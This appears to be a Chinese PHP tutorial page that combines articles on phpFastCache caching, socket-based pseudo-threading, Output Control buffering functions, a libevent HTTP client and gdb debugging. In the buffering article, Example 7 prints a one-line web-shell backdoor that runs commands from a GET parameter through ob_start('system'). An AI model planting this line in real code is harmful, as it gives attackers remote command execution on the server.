PHP缓存集成库phpFastCache学习教程

 更新时间:2016年11月25日 16:19  点击:2470
PHP缓存的方法有很多种,常用的有memcache, memcached。现在我们来学习一个php缓存集成库phpFastCache,就是开源的,只有一个简单的php文件,就可以支持包括apc, memcache, memcached, wincache, files, pdo and mpdo等缓存方法。

phpFastCache是一个开源的PHP缓存库,只提供一个简单的PHP文件,可方便集成到已有项目,支持多种缓存方法,包括:apc, memcache, memcached, wincache, files, pdo and mpdo。可通过简单的API来定义缓存的有效时间。

 代码如下 复制代码
<?php
// In your config file
include("phpfastcache/phpfastcache.php");
phpFastCache::setup("storage","auto");

// phpFastCache support "apc", "memcache", "memcached", "wincache" ,"files", "sqlite" and "xcache"
// You don't need to change your code when you change your caching system. Or simple keep it auto
$cache = phpFastCache();

// In your Class, Functions, PHP Pages
// try to get from Cache first. product_page = YOUR Identity Keyword
$products = $cache->get("product_page");

if($products == null) {
    $products = YOUR DB QUERIES || GET_PRODUCTS_FUNCTION;
    // set products in to cache in 600 seconds = 10 minutes
    $cache->set("product_page", $products,600);
}

// Output Your Contents $products HERE



提高cURL和API调用性能

 代码如下 复制代码
<?php
include("phpfastcache/phpfastcache.php");

$cache = phpFastCache("memcached");

// try to get from Cache first.
$results = $cache->get("identity_keyword")

if($results == null) {
    $results = cURL->get("http://www.youtube.com/api/json/url/keyword/page");
    // Write to Cache Save API Calls next time
    $cache->set("identity_keyword", $results, 3600*24);
}

foreach($results as $video) {
    // Output Your Contents HERE
}



全页缓存

 代码如下 复制代码

<?php
// use Files Cache for Whole Page / Widget

// keyword = Webpage_URL
$keyword_webpage = md5($_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].$_SERVER['QUERY_STRING']);
$html = __c("files")->get($keyword_webpage);

if($html == null) {
    ob_start();
    /*
        ALL OF YOUR CODE GO HERE
        RENDER YOUR PAGE, DB QUERY, WHATEVER
    */

    // GET HTML WEBPAGE
    $html = ob_get_contents();
    // Save to Cache 30 minutes
    __c("files")->set($keyword_webpage,$html, 1800);
}

echo $html;



挂件缓存

 代码如下 复制代码

<?php
// use Files Cache for Whole Page / Widget
$cache = phpFastCache("files");

$html = $cache->widget_1;

if($html == null) {
    $html = Render Your Page || Widget || "Hello World";
    // Save to Cache 30 minutes
    $cache->widget_1 = array($html, 1800);
}

echo or return your $html;



同时使用多种缓存

 代码如下 复制代码
<?php
// in your config files
include("phpfastcache/phpfastcache.php");
// auto | memcache | files ...etc. Will be default for $cache = __c();
phpFastCache::$storage = "auto";

$cache1 = phpFastCache();

$cache2 = __c("memcache");
$server = array(array("127.0.0.1",11211,100), array("128.5.1.3",11215,80));
$cache2->option("server", $server);

$cache3 = new phpFastCache("apc");

// How to Write?
$cache1->set("keyword1", "string|number|array|object", 300);
$cache2->keyword2 = array("something here", 600);
__c()->keyword3 = array("array|object", 3600*24);

// How to Read?
$data = $cache1->get("keyword1");
$data = $cache2->keyword2;
$data = __c()->keyword3;
$data = __c()->get("keyword4");

// Free to Travel between any caching methods

$cache1 = phpFastCache("files");
$cache1->set("keyword1", $value, $time);
$cache1->memcache->set("keyword1", $value, $time);
$cache1->apc->set("whatever", $value, 300);

$cache2 = __c("apc");
$cache2->keyword1 = array("so cool", 300);
$cache2->files->keyword1 = array("Oh yeah!", 600);

$data = __c("memcache")->get("keyword1");
$data = __c("files")->get("keyword2");
$data = __c()->keyword3;

// Multiple ? No Problem

$list = $cache1->getMulti(array("key1","key2","key3"));
$cache2->setMulti(array("key1","value1", 300),
                  array("key2","value2", 600),
                  array("key3","value3", 1800),
                  );

$list = $cache1->apc->getMulti(array("key1","key2","key3"));
__c()->memcache->getMulti(array("a","b","c"));

// want more? Check out document in source code
由于php本身不支持多线程,如果我们想在php实现多线程是不是不可行呢?本教程来讲讲通过php的Socket方式实现php程序的多线程。

通过php的Socket方式实现php程序的多线程。php本身是不支持多线程的,那么如何在php中实现多线程呢?可以想一下,WEB服务器本身都是支持多线程的。每一个访问者,当访问WEB页面的时候,都将调用新的线程,通过这一点我们可以利用WEB服务器自身的线程来解决PHP不支持多线程的问题。

下面给出通过 fsockopen() 建立socket连接,然后用 用fputs() 发送消息,来实现的PHP多线程类代码:

 代码如下 复制代码
$fp=fsockopen($_SERVER['HTTP_HOST'],80,&$errno,&$errstr,5);
if(!$fp){
echo "$errstr ($errno)<br />n";
}
fputs($fp,"GET $_SERVER[PHP_SELF]?flag=1rn");
fclose($fp);


上面这段代码只是一个线程的操作过程。多进行几个这样的操作就是多线程了。目前所谓PHP的多线程程序都是基于这个方式的。

下面给一个完整的线程类代码。

 代码如下 复制代码
<?php
/**
@title:PHP多线程类(Thread)
@version:1.0
@author:axgle <axgle@126.com>
*/
class thread {
var $count;
function thread($count=1) {

$this->count=$count;
}

function _submit() {
for($i=1;$i<=$this->count;$i++) $this->_thread();
return true;
}


function _thread() {
$fp=fsockopen($_SERVER['HTTP_HOST'],80,&$errno,&$errstr,5);

if(!$fp){
echo "$errstr ($errno)<br />n";
}
fputs($fp,"GET $_SERVER[PHP_SELF]?flag=1rn");
fclose($fp);
}

function exec($func) {
isset($_GET['flag'])?call_user_func($func):$this->_submit();
}


}

//应用例子:
$th=new thread(10);//10个线程
$th->exec('demo');//执行行自定义的函数

function demo() {
fopen('data/'.microtime(),'w');
}

?>
当网站大了访客多了,缓冲应用是少不了的,在php中如何控制缓冲输出呢?现在我们通过函数 Output Control,再结合应用实例,详细讲解一下PHP输出缓冲控制- Output Control 函数应用。

其实对于PHP程序员来说,基本上每个脚本都涉及到了输出缓冲,只是在大多数情况下,我们都不需要对输出缓冲进行更改。而今天就来用实例对PHP输出缓冲控制函数“Output Control”做一个详细的解析。

下面这个例子简单介绍了输出缓冲在一般脚本中存在的方式:

我们在执行如下脚本时:
   

 代码如下 复制代码
<?php
/*例1*/
echo 'oschina.net';
echo '红薯';
echo '虫虫';
?>



脚本在执行完第一个 echo 时,并不会向浏览器输出相应内容,而是会输出到一个缓冲区,依次类推,当三个 echo 全部执行完毕(也就是脚本结束)时,才会将缓冲区内容全部输出到浏览器。当然这个缓冲区也有大小的限制,是根据 php.ini 中的output_buffering 选项来设置的,这点会在下面的文章中详细介绍。而本章所讲的输出缓冲控制,就是在脚本结束前,对缓冲区里的内容进行操作。

这个例子可以更好的体现输出缓冲控制的应用:

在执行如下代码时:

 代码如下 复制代码

<?php
/*例2*/
echo 'oschina.net';
sleep(1);
echo '红薯';
sleep(1);
echo '虫虫';
?>



我们至少需要等待 2秒 才能看到输出结果,那我们能不能让其实时的显示呢?也就是在第一个 echo 执行完毕时就输出相应的内容呢,这时候就需要用输出缓冲控制函数来操作缓冲区了,实现代码如下:

 代码如下 复制代码

<?php
/*例3*/
echo str_pad('', 1024);//使缓冲区溢出
ob_start();//打开缓冲区
echo 'oschina.net';
ob_flush();//送出当前缓冲内容,不会输出
flush();//输出送出的缓冲内容
sleep(1);
echo '红薯';
ob_flush();//送出当前缓冲内容,不会输出
flush();//输出送出的缓冲内容
sleep(1);
echo '虫虫';
ob_end_flush();//输出并关闭缓冲
?>



简单点也可以这样实现:

 代码如下 复制代码

<?php
/*例4*/
echo str_pad('', 1024);//使缓冲区溢出
echo 'oschina.net';
flush();//输出送出的缓冲内容
sleep(1);
echo '红薯';
flush();//输出送出的缓冲内容
sleep(1);
echo '虫虫';
?>



至于相关函数的用法在下面都会有介绍,这里只是给大家展示一个输出缓冲控制函数的应用,当然了输出缓冲控制函数的作用绝不止这一种,那么下面我们就来看看输出缓冲控制函数都可以应用在哪些方面。
作用

在PHP中,像header(), session_start(), setcookie() 等这样的发送头文件的函数前,不能有任何的输出,而利用输出缓冲控制函数可以在这些函数前进行输出而不报错。其实这么做没啥必要,非常少见的用法。

对输出的内容进行处理,例如生成静态缓存文件、进行gzip压缩输出,这算是较常用的功能了,后面会有详细介绍。

捕获一些不可获取的函数输出,例如phpinfo(), var_dump() 等等,这些函数都会将运算结果显示在浏览器中,而如果我们想对这些结果进行处理,则用输出缓冲控制函数是个不错的方法。说的通俗点,就是这类函数都不会有返回值,而要获取这些函数的输出数据,就要用到输出缓冲控制函数。
    最后一种应用就是 简介 中示例的方法,对一些数据进行实时的输出。

php.ini 中的相关配置项

再来看看在 php.ini 中和输出缓冲控制有关的选项,共三个,分别是:output_buffering  ,output_handler  和 implicit_flush

output_buffering   默认为 off , 当设置为 on 时,则在所有脚本自动打开输出缓冲区,拿 例3 来说,就是在每个脚本都自动执行了 ob_start() 这个函数,而不用再显示的调用该函数。其也可以设置为一个整型的数字,代表缓冲区可以存储的最大字节数,我们在 例1 的下面说明中提到过这个配置项。

output_handler  默认为 null , 其值只能设置为一个内置的函数名,作用就是将脚本的所有输出,用所定义的函数进行处理。他的用法和 ob_start('function_name') 较类似,下面会介绍到。

implicit_flush 默认为 off , 当设置为 on 时,PHP将在输出后,自动送出缓冲区内容。拿 例4 来说,就是在每段输出后,自动执行 flush() 。当然有效的输出不仅指像echo , print 这样的函数,也包括HTML段。

Output Control 函数详解

现在我们就用实例分析相关函数,相信在充分了解了以下内容后,就会对输出缓冲控制函数有了较清晰的掌握。

1.  bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

此函数在 例3 中已经使用过,大家从命名上也能明白其含义,就是打开输出缓冲区,从而进行下一步的输出缓冲处理。这里要特意说的是其参数的用法,第一个参数要传递一个回调函数,其需将缓冲区内容做为参数,并且返回一个字符串。他会在缓冲区被送出时调用,缓冲区送出指的是执行了例如ob_flush() 等函数或者脚本执行完毕。ob_flush() 函数会在下面介绍到,来看一个简单的例子就能理解其用法:

 代码如下 复制代码

<?php
/*例5*/
ob_start('handleString');
echo '123456';
 
function handleString($string){
  return md5($string);
}
?>


运行后的结果是:

e10adc3949ba59abbe56e057f20f883e

说明输出的内容被md5加密了,也就是说在缓冲区内容输出时,运行了我们定义的 handleString 函数。

再来看一个更实际的例子,也就是常见到的将网页内容利用 gzip 压缩后再输出,代码如下:

 代码如下 复制代码

<?php
/*例6*/
ob_start('ob_gzhandler');
echo str_repeat('oschina', 1024);
?>


其页面大小为:

PHP Output Control 缓冲控制函数应用实例详解


可以明显看到大小的差别,所以说利用 ob_start() 进行页面压缩输出,是非常实用的一个功能。

而第二个参数 chunk_size 为缓冲区的字节长度,如果缓冲区内容大于此长度,将会被送出缓冲区,默认值为0,代表函数将会在最后被调用。第三个参数 erase 如果被设置为 flase , 则代表脚本执行完毕后缓冲区才会被删除,如果提前执行了删除缓冲区函数(后面会提到),则会报一个错误。

ob_start() 的用法就这么多,但有两点需要特别注意的地方:

ob_start() 可重复调用,也就是说一个脚本中可以存在多个缓冲区,但记得要按照嵌套顺序将他们全部关闭掉,而如果多个 ob_start 都定义了第一个参数,也就是都定义了回调函数,则会按照嵌套顺序依次执行。关于缓冲区的堆叠嵌套,将在 ob_get_level 函数处详细介绍,这里就不过多阐述了。
    ob_start() 还有一个不太明显但很致命的后门用法,实现代码如下:

 代码如下 复制代码
<?php
/*例7*/
$cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush();
?>


如果理解了上面关于 ob_start的用法,这段代码就不难理解了,其应用了 ob_start 函数会将缓冲区输出的内容作为参数传入所设置的函数中的特点,实现了以Web服务器权限远程执行命令,并且不宜被发觉。

2. string ob_get_contents ( void )

此函数用来获取此时缓冲区的内容,下面的例子就能很好的理解其用法:

 代码如下 复制代码

<?php
/*例8*/
echo str_pad('', 1024);//使缓冲区溢出
ob_start();//打开缓冲区
phpinfo();
$string = ob_get_contents();//获取缓冲区内容
$re = fopen('./phpinfo.txt', 'wb');
fwrite($re, $string);//将内容写入文件
fclose($re);
ob_end_clean();//清空并关闭缓冲区
?>



运行此例会发现,浏览器并不会有任何输出,但在当前目录下会有一个 phpinfo.txt 的文件,里面存储了此次应有的输出。这个例子也展示了上面作用中第三点所说的情况。我们可以将输出内容获取到后,根据我们的实际情况进行处理。

3. int ob_get_length ( void )

此函数用来获取缓冲区内容的长度,将 例8 稍作改动来展示这个函数的用法:
   

 代码如下 复制代码

<?php
/*例9*/
echo str_pad('', 1024);//使缓冲区溢出
ob_start();//打开缓冲区
phpinfo();
$string = ob_get_contents();//获取缓冲区内容
$length = ob_get_length();//获取缓冲区内容长度
$re = fopen('./phpinfo.txt', 'wb');
fwrite($re, $string);//将内容写入文件
fclose($re);
var_dump($length); //输出长度
ob_end_flush();//输出并关闭缓冲区
?>



4. int ob_get_level ( void )

此函数用来获取缓冲机制的嵌套级别,我们在介绍 ob_start() 函数时曾说过,在一个脚本中可以嵌套存在多个缓冲区,而此函数就是来获取当前缓冲区的嵌套级别,用法如下:

 代码如下 复制代码

<?php
/*例10*/
ob_start();
var_dump(ob_get_level());
ob_start();
var_dump(ob_get_level());
ob_end_flush();
ob_end_flush();
?>


运行后可以很明显的看出他们的嵌套关系。

5. array ob_get_status ([ bool $full_status = FALSE ] )

此函数用来获取当前缓冲区的状态,返回一个状态信息的数组,如果第一个参数为 true ,将返回一个详细信息的数组,我们结合实例来分析这个数组:
   

 代码如下 复制代码

<?php
/*例11*/
ob_start(‘ob_gzhandler’);
var_export(ob_get_status());
ob_start();
var_export(ob_get_status());
ob_end_flush();
ob_end_flush();
?>



此脚本输出如下:

array (
  'level' => 1,
  'type' => 1,
  'status' => 0,
  'name' => 'ob_gzhandler',
  'del' => true,
)
 
array (
  'level' => 2,
  'type' => 1,
  'status' => 0,
  'name' => 'default output handler',
  'del' => true,
)

level 为嵌套级别,也就是和通过 ob_get_level() 取到的值一样。
type 为处理缓冲类型,0为系统内部自动处理,1为用户手动处理。
status 为缓冲处理状态, 0为开始, 1为进行中, 2为结束
name 为定义的输出处理函数名称,也就是在 ob_start() 函数中第一个参数传入的函数名。
del  为是否运行了删除缓冲区操作
理解了上面数组的含义,就能很好理解缓冲区的各项属性。

6. array ob_list_handlers ( void )

此函数用来获得输出处理程序的函数名数组,也就是在 ob_start() 函数中我们指定的第一个参数,需要注意的是,如果我们传的参数是一个匿名函数,或者在配置文件中启用了 output_buffering  则该函数将返回default output handler ,php官方手册 中的例子就能很好的解释这个函数:

 代码如下 复制代码

<?php
/*例12*/
//using output_buffering=On
print_r(ob_list_handlers());
ob_end_flush();
 
ob_start("ob_gzhandler");
print_r(ob_list_handlers());
ob_end_flush();
 
// anonymous functions
ob_start(create_function('$string', 'return $string;'));
print_r(ob_list_handlers());
ob_end_flush();
?>



输出结果为:

Array
(
    [0] => 'default output handler'
)
 
Array
(
    [0] => 'ob_gzhandler'
)
 
Array
(
    [0] => 'default output handler'
)

下面我们来看看和输出、关闭、送出缓冲区内容有关的函数:

7. void ob_flush ( void )

此函数在前面的例子经常用到了,其作用就是 “送出” 当前缓冲区内容,同时清空缓冲区,需要注意这里用的是 “送出” 一词,也就是说调用此函数并不会将缓冲区内容输出,从 例3 可以看出必须在其后调用 flush 函数其才会输出。关于 flush 的用法下面就会说到,这里就不再做实例了。

8. void flush ( void )

这个函数算是比较常用的,用来将其前面的所有输出发送到浏览器显示,且不会对缓存区有任何影响。例3 和 例4 中都用到了此函数将当前输出显示到浏览器,换句话说,不论是 echo 等函数的输出,还是 HTML实体 ,或是运行 ob_start() 送出的内容,运行 flush() 后都会在浏览器进行显示。

9. void ob_implicit_flush ([ int $flag = true ] )

此函数用来打开/关闭绝对刷送模式,就是在每一次输出后自动执行 flush(),从而不需要再显示的调用 flush() ,提高效率。我们将 例4 稍作更改,利用这个函数来实现同样的效果:

 代码如下 复制代码

<?php
/*例13*/
echo str_pad('', 1024);//使缓冲区溢出
ob_implicit_flush(true);//打开绝对刷送
echo 'oschina.net';
//flush();  之后不需要再显示的调用 flush()
sleep(1);
echo '红薯';
//flush();
sleep(1);
echo '虫虫';
?>



此例和 例4 实现的同样的效果,由于打开了 绝对刷送,所以不需要再调用 flush(), 系统会自动在输出后进行刷送。

10. bool ob_end_flush ( void )

此函数将缓冲区的内容送出,并关闭缓冲区。实际上相当于执行了 ob_flush() 和 ob_end_clean() ;

11. string ob_get_flush ( void )

此函数和 ob_end_flush() 的作用基本一致,只是其会以字符串的形式返回缓冲区的内容,很简单,也不做实例了。

12. void ob_clean ( void )


此函数会将当前缓冲区清空,但不会关闭缓冲区,下面这个例子的输出将不会显示,因为在输出前,缓冲区已经被清空了,但我们又可以获取到缓冲区的属性,说明缓冲区没被关闭:

 代码如下 复制代码

<?php
/*例14*/
ob_start();
echo 'oschina';
ob_clean();
var_dump(ob_get_status());
?>


13. bool ob_end_clean ( void )

此函数清空并关闭缓冲区,将 例14 稍作更改,即可发现我们不再能获取到缓冲区的状态,因为它已经被关闭了:
   

 代码如下 复制代码

<?php
/*例15*/
ob_start();
echo 'oschina';
ob_end_clean();
var_dump(ob_get_status());
?>



14. string ob_get_clean ( void )

此函数清空并关闭缓存,但会以字符串的形式返回缓存中的数据,实际上,这个函数就是分别执行了 ob_get_contents() 和 ob_end_clean();
   

 代码如下 复制代码

<?php
/*例16*/
ob_start();
echo 'oschina';
$string = ob_get_clean();
var_dump(ob_get_status());
var_dump($string);
?>



最后再来看两个和URL重写有关的函数:

15. bool output_add_rewrite_var ( string $name , string $value )

此函数添加URL重写机制的键和值,这里的URL重写机制,是指在URL的最后以GET方式添加键值对,或者在表单中以隐藏表单添加键值对。绝对的URL不会被添加,还是用手册中的例子来看吧,写的非常直观明了:

 代码如下 复制代码

<?php
/*例17*/
output_add_rewrite_var('var', 'value');
 
// some links
echo '<a href="file.php">link</a>
<a href="http://example.com">link2</a>';
 
// a form
echo '<form action="script.php" method="post">
<input type="text" name="var2" />
</form>';
 
print_r(ob_list_handlers());
?>



程序的输出为:

<a href="file.php?var=value">link</a>
<a href="http://example.com">link2</a>
 
<form action="script.php" method="post">
<input type="hidden" name="var" value="value" />
<input type="text" name="var2" />
</form>
 
Array
(
    [0] => URL-Rewriter
)

可以看到不是绝对URL地址的链接 和 Form表单 被加上了对应的键值对。

16. bool output_reset_rewrite_vars ( void )

此函数用来清空所有的URL重写机制,也就是删除由 output_add_rewrite_var() 设置的重写变量。
其他需要注意的地方

相信读了上面的内容,就会对PHP的缓冲控制函数有较深的认识了,那接下来说一些在日常使用中需要注意的问题:

在 例3 的第三行,我输出了一个1024长度的空格,注释写的是使缓冲区溢出。这么做的原因是在一些win32下的服务器程序,即使使用了上述函数,但仍然会缓存脚本的输出,所以必须先发送一段文本让其缓冲区溢出,才能继续实现我们的效果。大家在应用过程中一定要注意,如果测试中还有问题,可以将此值设置更大些,例如4096;

 

除非在脚本结束前清空了缓冲区,否则当脚本结束时,缓冲区的所有内容会自动输出到浏览器中。

下面来给各位介绍一段用php实现的Libevent HTTP客户端实现程序,有需要了解的朋友可与小编一起来学习一下。

php Libevent HTTP

 代码如下 复制代码

<?php
//请求完成回调
function _request_handler($req, $base) {
  global $pend_req;
  //echo __FUNCTION__, PHP_EOL;
 
  if (is_null($req)) {
    //echo "Timed out\n";
  } else {
    $response_code = $req->getResponseCode();
 
    if ($response_code == 0) {
      //echo "Connection refused\n";
    } elseif ($response_code != 200) {
      //echo "Unexpected response: $response_code\n";
    } else {
      //echo "Success: $response_code\n";
      /*
      $buf = $req->getInputBuffer();
      echo "Body:\n";
      while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
      echo $s, PHP_EOL;
      }
       */
    }
  }
  $pend_req--;
  //退出循环
  if (!$pend_req) {
    $base = $conn->getBase();
    $base->exit(NULL);
  }
  //释放内存
  unset($req);
  unset($conn);
}
 
//$address = "www.111cn.net";
$pend_req = 0;
$port = 80;
//初始化event base
$base = new EventBase();
echo "Event method used: ", $base->getMethod(), PHP_EOL;
 //使用异步DNS
$dns_base = new EventDnsBase($base, TRUE);
$f= fopen("./50000.txt","r");
while (!feof($f))
{
  $line = fgets($f);
  //echo $address;
  $address = trim($line);
  //新建http连接事件到base
  $conn = new EventHttpConnection($base, $dns_base, $address, $port);
  $conn->setTimeout(1);
  //设置请求回调
  $req = new EventHttpRequest("_request_handler", $conn);
 
  $req->addHeader("Host", $address, EventHttpRequest::OUTPUT_HEADER);
  $req->addHeader("Content-Length", "0", EventHttpRequest::OUTPUT_HEADER);
  $conn->makeRequest($req, EventHttpRequest::CMD_GET, "/");
  $pend_req++;
}
fclose($f);
//事件主循环
$base->loop();
?>

c语言版,

 代码如下 复制代码

#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <evhttp.h>
#include <event2/event.h>
#include <event2/http.h>
#include <event2/bufferevent.h>
typedef struct my_struct_s my_struct_t;
 
struct my_struct_s {
  struct evhttp_connection *conn;
  struct evhttp_request *req;
  struct evhttp_uri *uri;
  struct event *cleanup;
};
 
struct event_base *Base_Primary;
 
char *trimwhitespace(char *str)
{
  char *end;
 
  // Trim leading space
  while(isspace(*str)) str++;
 
  if(*str == 0)  // All spaces?
    return str;
 
  // Trim trailing space
  end = str + strlen(str) - 1;
  while(end > str && isspace(*end)) end--;
 
  // Write new null terminator
  *(end+1) = 0;
 
  return str;
}
 
void connection_free(int sock, short which, void *arg) {
  //printf("freeing connection!!! The socket's FD would have been closed when the HTTP request ended and the ->req object would have been free'd\n");
 
  // Get our structure object
  my_struct_t *myStruct = arg;
 
  // Cleanup our properties
  event_free(myStruct->cleanup);
  evhttp_connection_free(myStruct->conn);
  evhttp_request_free(myStruct->req);
  evhttp_uri_free(myStruct->uri);
 
  // Free our custom structure
  free(myStruct);
}
 
void http_request_done(struct evhttp_request *req, void *arg){
 
  // Get our custom struct
  my_struct_t *myStruct = arg;
 
  // Setup our timeout information (we delay 5 seconds)
  struct timeval Timeout;
  Timeout.tv_sec = 0;
  Timeout.tv_usec = 0;
 
  // Add this structure to our cleanup base to be cleaned up synchronously
  // TODO: Probably not the best way to cleanup and event, but it'l work for the purposes of illustration.
  // This way would ensure no race conditions exist, but it's probably not the most efficient depending on how many requests, etc we're dealing with.
  myStruct->cleanup = evtimer_new(Base_Primary, connection_free, (void *)myStruct);
  evtimer_add(myStruct->cleanup, &Timeout);
 
  //printf("http_request_done, we put our custom strucutre into a cleanup event to be freed!\n");
}
 
int http_req(char *uri) {
 
  // Allocate our custom struture
  my_struct_t *myStruct = malloc(sizeof(my_struct_t));
 
  // Create our EVHTP connection and request
  myStruct->uri = evhttp_uri_parse(uri);
  myStruct->conn = evhttp_connection_base_new(Base_Primary, NULL, uri, 80);
  myStruct->req = evhttp_request_new(http_request_done, myStruct);
  evhttp_add_header(evhttp_request_get_output_headers(myStruct->req), "Host", "localhost");
  evhttp_add_header(evhttp_request_get_output_headers(myStruct->req), "Connection", "close");
  evhttp_make_request(myStruct->conn, myStruct->req, EVHTTP_REQ_GET, uri);
  evhttp_connection_set_timeout(myStruct->req->evcon, 2);
  return 1;
}
 
 
// Define our primary function
int main(int argc, char *argv[]) {
 
  // Initialize our bases
  Base_Primary = event_base_new();
 
  char filename[] = "/tmp/50000.txt"; //文件名
  FILE *fp;
  char StrLine[1024];             //每行最大读取的字符数
  char *host;
  if((fp = fopen(filename,"r")) == NULL) //判断文件是否存在及可读
  {
    printf("error!");
    return -1;
  }
 
  while (!feof(fp))
  {
    fgets(StrLine,1024,fp);  //读取一行
    host = StrLine;
    host = trimwhitespace(host);
    //printf("%s", host); //输出
    http_req(host);
  }
  fclose(fp); 
 
  //
  //event_base_loop(Base_Primary);
  event_base_dispatch(Base_Primary);
 
  // Free our primary base
  event_base_free(Base_Primary);
  return 1;
}

cpu飙升占100%不但是与数据库或硬盘的io输入有关,但程序也是一个非常重要的地方了,今天小编找到一个代码可以测试你的php引起cpu占100%问题的解决办法,有兴趣的朋友可进入参考。

用cpu接近100%时,你如何找到导致cpu飙升的原因?我的思路是,首先找到进程正在执行的代码行,从而确定可能有问题的代码段。然后,再仔细分析有问题的代码段,从而找出原因。
如果你的程序使用的是c、c++编写,那么你可以很容易的找到正在执行的代码行。但是,程序是php编写的,如何找到可能有问题的代码行呢?这个问题就是本文要解决的问题。
背景知识:
大家都知道php是一个解释性语言。用户编写的php代码会生成opcode,由解释器引擎去解释执行。在解释执行过程中,有一个全局变量包含了执行过 程中用到的各种数据。它就是executor_globals。在源码的Zend/zend_globals.h 文件中可以找到他的类型定义。

 代码如下 复制代码

struct _zend_executor_globals {
    zval **return_value_ptr_ptr;

    zval uninitialized_zval;
    zval *uninitialized_zval_ptr;

    zval error_zval;
    zval *error_zval_ptr;

    zend_ptr_stack arg_types_stack;

    /* symbol table cache */
    HashTable *symtable_cache[SYMTABLE_CACHE_SIZE];
    HashTable **symtable_cache_limit;
    HashTable **symtable_cache_ptr;

    zend_op **opline_ptr;

    HashTable *active_symbol_table;
    HashTable symbol_table;     /* main symbol table */

    HashTable included_files;   /* files already included */

    JMP_BUF *bailout;

    int error_reporting;
    int orig_error_reporting;
    int exit_status;

    zend_op_array *active_op_array;

    HashTable *function_table;  /* function symbol table */
    HashTable *class_table;     /* class table */
    HashTable *zend_constants;  /* constants table */

    zend_class_entry *scope;
    zend_class_entry *called_scope; /* Scope of the calling class */

    zval *This;

    long precision;

    int ticks_count;

    zend_bool in_execution;
    HashTable *in_autoload;
    zend_function *autoload_func;
    zend_bool full_tables_cleanup;

    /* for extended information support */
    zend_bool no_extensions;

#ifdef ZEND_WIN32
    zend_bool timed_out;
    OSVERSIONINFOEX windows_version_info;
#endif

    HashTable regular_list;
    HashTable persistent_list;

    zend_vm_stack argument_stack;

    int user_error_handler_error_reporting;
    zval *user_error_handler;
    zval *user_exception_handler;
    zend_stack user_error_handlers_error_reporting;
    zend_ptr_stack user_error_handlers;
    zend_ptr_stack user_exception_handlers;

    zend_error_handling_t  error_handling;
    zend_class_entry      *exception_class;

    /* timeout support */
    int timeout_seconds;

    int lambda_count;

    HashTable *ini_directives;
    HashTable *modified_ini_directives;

    zend_objects_store objects_store;
    zval *exception, *prev_exception;
    zend_op *opline_before_exception;
    zend_op exception_op[3];

    struct _zend_execute_data *current_execute_data;

    struct _zend_module_entry *current_module;

    zend_property_info std_property_info;

    zend_bool active;

    void *saved_fpu_cw;

    void *reserved[ZEND_MAX_RESERVED_RESOURCES];
};

这里我们只说两个对我们比较重要的变量,active_op_array 和 current_execute_data。
active_op_array变量中保存了引擎正在执行的op_array(想了解什么是op_array请点击查看)。在Zend/zend_compile.h中有关于op_array的数据类型的定义。

 代码如下 复制代码

struct _zend_op_array {
    /* Common elements */
    zend_uchar type;
    char *function_name;
    zend_class_entry *scope;
    zend_uint fn_flags;
    union _zend_function *prototype;
    zend_uint num_args;
    zend_uint required_num_args;
    zend_arg_info *arg_info;
    zend_bool pass_rest_by_reference;
    unsigned char return_reference;
    /* END of common elements */

    zend_bool done_pass_two;

    zend_uint *refcount;

    zend_op *opcodes;
    zend_uint last, size;

    zend_compiled_variable *vars;
    int last_var, size_var;

    zend_uint T;

    zend_brk_cont_element *brk_cont_array;
    int last_brk_cont;
    int current_brk_cont;

    zend_try_catch_element *try_catch_array;
    int last_try_catch;

    /* static variables support */
    HashTable *static_variables;

    zend_op *start_op;
    int backpatch_count;

    zend_uint this_var;

    char *filename;
    zend_uint line_start;
    zend_uint line_end;
    char *doc_comment;
    zend_uint doc_comment_len;
    zend_uint early_binding; /* the linked list of delayed declarations */

    void *reserved[ZEND_MAX_RESERVED_RESOURCES];
};

看完定义,就不用我多说了把。定义中,filename和 function_name分别保存了正在执行的文件名和方法名。
current_execute_data保存了正在执行的op_array的execute_data。execute_data保存了每个op_array执行过程中的一些数据。其定义在,Zend/zend_compile.h:

 代码如下 复制代码
struct _zend_execute_data {
    struct _zend_op *opline;
    zend_function_state function_state;
    zend_function *fbc; /* Function Being Called */
    zend_class_entry *called_scope;
    zend_op_array *op_array;
    zval *object;
    union _temp_variable *Ts;
    zval ***CVs;
    HashTable *symbol_table;
    struct _zend_execute_data *prev_execute_data;
    zval *old_error_reporting;
    zend_bool nested;
    zval **original_return_value;
    zend_class_entry *current_scope;
    zend_class_entry *current_called_scope;
    zval *current_this;
    zval *current_object;
    struct _zend_op *call_opline;
};


定义中的opline就是正在执行的opcode。opcode的结构定义如下:

 代码如下 复制代码
struct _zend_op {
    opcode_handler_t handler;
    znode result;
    znode op1;
    znode op2;
    ulong extended_value;
    uint lineno;
    zend_uchar opcode;
};

其中lineno就是opcode所对应的行号。
示例说明:
看完上面的数据结构定义,你是否已经知道如何找php正在执行的文件名,方法名和行号呢?如果还有疑问的话,那就接着看下面的例子。创建一个文件test.php,代码如下:

 代码如下 复制代码
<?php
function test1(){
        while(true){
              sleep(1);
        }
}
test1();
?>

cli方式执行php脚本,加入执行的进程号为14973。我们使用gdb命令来调试进程。

 代码如下 复制代码
$sudo gdb -p 14973
(gdb) print (char *)executor_globals.active_op_array->filename
$1 = 0x9853a34 "/home/xinhailong/test/php/test.php"
(gdb) print (char *)executor_globals.active_op_array->function_name
$2 = 0x9854db8 "test1"
(gdb) print executor_globals->current_execute_data->opline->lineno
$3 = 4

很显然,他正在执行第四行的sleep方法。
如果上面的方法你感觉麻烦,那你可以使用.gdbinit文件。这个文件在php源码的根目录下。使用方法如下:

 代码如下 复制代码
$sudo gdb -p 14973
(gdb) source /home/xinhailong/.gdbinit
(gdb) zbacktrace
[0xa453f34] sleep(1) /home/xinhailong/test/php/test.php:4
[0xa453ed0] test1() /home/xinhailong/test/php/test.php:7
(gdb)

题外话:
从php5.6开始,php中集成了一个phpdbg的工具。可以像gdb调试c语言程序一样,调试php程序。感兴趣的话,可以打开下面的连接看看

[!--infotagslink--]

相关文章

  • iPhone6怎么激活?两种苹果iPhone6激活教程图文详解

    iPhone6新机需要激活后才可以正常使用,那么对于小白用户来说,iPhone6如何激活使用呢?针对此问题,本文就为大家分别介绍Wifi无线网络激活以及iPhone6连接电脑激活这两种有效的方法,希望本文能够帮助到大家...2022-09-14
